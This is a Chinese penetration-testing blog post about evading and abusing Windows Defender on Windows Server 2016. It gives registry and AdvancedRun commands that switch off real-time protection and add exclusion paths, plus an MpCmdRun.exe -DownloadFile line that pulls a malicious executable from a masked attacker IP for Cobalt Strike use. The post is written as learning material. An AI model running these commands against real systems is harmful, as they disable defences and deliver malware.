Windows Defender的一些渗透知识

2023-01-29 11,319


前言

Microsoft Defender,最初称为Microsoft AntiSpyware,是微软推出的一款杀毒软件。相信大家对Windows Defender 的防御性能还是没有怀疑的,毕竟最了解Windows系统的还得是微软自己。但是这货也比较令人头疼,毕竟它检测到问题直接就杀了,然后弹窗告诉用户“我已经拦截了一个XXX”。完全属于先斩后奏。今天正好看到大佬的文章,跟着学习一下Windows defender相关的知识。

测试环境版本

系统:Windows server 2016 Windows defender版本:版本信息:反恶意软件容户端版本:4.10.14393.1794 引擎版本:1.1.19500.2 防病毒定义:1.373.1325.0 反间谍软件定义:1.373.1325.0 网络检查系统引擎版本:2.1.14600 4 网络检查系统定义版本:119.0.00 测试权限:administrator

查看Windows defender版本

面板查看

设置-更新和安全-Windows Defender

命令行查看

注:新版本Windows Defender已不适用

dir "C:ProgramDataMicrosoftWindows DefenderPlatform" /od /ad /b

查看已存在的查杀排除列表

  • • 通过面板查看依次选择设置-更新和安全-Windows Defender-添加排除项如下图

  • • 通过命令行查看reg query "HKLMSOFTWAREMicrosoftWindows DefenderExclusions" /s

  • • 通过Powershell查看Get-MpPreference | select ExclusionPath

关闭Windows Defender的实时保护

1.通过面板关闭依次选择

设置-更新和安全-Windows Defender-实时保护

通过命令行关闭defender 实时保护

  • • 需要TrustedInstaller权限

  • • 需要关闭Tamper Protectionreg add "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

注:通过命令行开启defender 实时保护

reg delete "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows DefenderReal-Time Protection" /v "DisableRealtimeMonitoring" /f

注:新版本的Windows已经不再适用

添加查杀排除列表

通过面板添加

依次选择 设置-更新和安全-Windows Defender-排除-添加排除项-选择排除的进程或文件类型&文件夹

  • • 该操作等价于修改注册表HKLMSOFTWAREMicrosoftWindows DefenderExclusions的键值,具体位置如下:

    类型文件对应注册表项TemporaryPaths 类型文件夹对应注册表项Paths 类型文件类型对应注册表项Extensions 类型进程对应注册表项Processes

通过命令行添加

利用条件:需要TrustedInstaller权限

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows DefenderExclusionsPaths" /v "c:tide" /d 0 /t REG_DWORD /f

恢复被隔离的文件

参考资料:https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide

MpCmdRun.exe存在的位置

  • • 简介 mpcmdrun.exe 是 Microsoft Windows 安全系统的重要组成部分,可帮助保护您的 PC 免受在线威胁和恶意软件的侵害。如果您想自动化 Microsoft 安全防病毒,也可以使用此实用程序。.exe 必须从 Windows 命令提示符运行。在实验过三个不同的Windows版本后,发现微软在新版本已经更改了MpCmdRun的位置(具体哪个版本后更改的不清楚,在这两个路径下查找就对了) 更改后的位置在C:Program FilesWindows DefenderMpCmdRun.exe老版本dir "C:ProgramDataMicrosoftWindows DefenderPlatform" /od /ad /b得到版本号后,则他存在的位置为C:ProgramDataMicrosoftWindows DefenderPlatform<版本>比如我这台存在的物理位置为

C:ProgramDataMicrosoftWindows DefenderPlatform4.18.2205.7-0X86

常用命令

  • • 查看被隔离的文件列表MpCmdRun -Restore -ListAll

  • • 恢复指定名称的文件至原目录MpCmdRun -Restore -FilePath C:tide7.exe

  • • 恢复所有文件至原目录MpCmdRun -Restore -All

  • • 查看指定路径是否位于排除列表中MpCmdRun -CheckExclusion -path C:test

    补充1:获取TrustedInstaller权限

    AdvancedRun

    AdvancedRun是运行于Windows系统的轻量级程序设置优先级软件,可以轻松设置程序运行优选级,并且还能够支持通过命令行调用设置,也支持将参数保存为配置文件,以便于更好进行使用。在图形化界面

或者使用命令行

AdvancedRun.exe /EXEFilename "%windir%system32cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows DefenderReal-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run

补充2:MpCmdRun.exe利用

MpCmdRun恶意文件下载

Windows Defender自带的命令执行工具"MpCmdRun.exe"可以用来实现远程下载恶意文件的目的,但是免杀好像还是不太可靠,不过我们可以在cmd中关闭Windows Defender,所以这样一来,一结合就变得有意思多了,不管在使用该思路的过程中还需要权限提升,但是CS因为在后渗透测试中有很好的辅助功能,所以总体来说还是划算的~ PS:经过实验发现在新版本中下载任何文件Windows defender都会报毒并隔离(下图),若尝试关闭实时保护则mpcmdrun不可用。。。不过老版本defender还是可以的。在目标主机上使用Windows Defender自带的MpCmdRun.exe程序下载恶意文件

MpCmdRun.exe -DownloadFile -url http://*.*.*.*:81/co.exe -path c:co.exe

MpCmdRun.exe解密和加载Cobalt Strike攻击载荷

这篇文章是7月底发布的,还算比较新(在我10月份写这篇文章的时候)。https://www.bleepingcomputer.com/news/security/lockbit-ransomware-abuses-windows-defender-to-load-cobalt-strike/ 一开始还以为是生成含有恶意载荷的dll文件替为MPClient.dll后就可以执行,结果在自己机器上尝试了一下根本不能上线,仔细看了看(谷歌翻译后)才明白大意是攻击者通过MpCmdRun.exe 加载修改后的MPClient.dll执行c0000015.log进而实现上线Cobalt Strike,当然这就触及到我的知识盲区了,感兴趣的铁子可以继续研究一下(教教我)。

参考文章

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender

E

N

D


本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/195152.html

Tags:
评论  (0)
快来写下你的想法吧!

TideSec

文章数:145 积分: 185

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号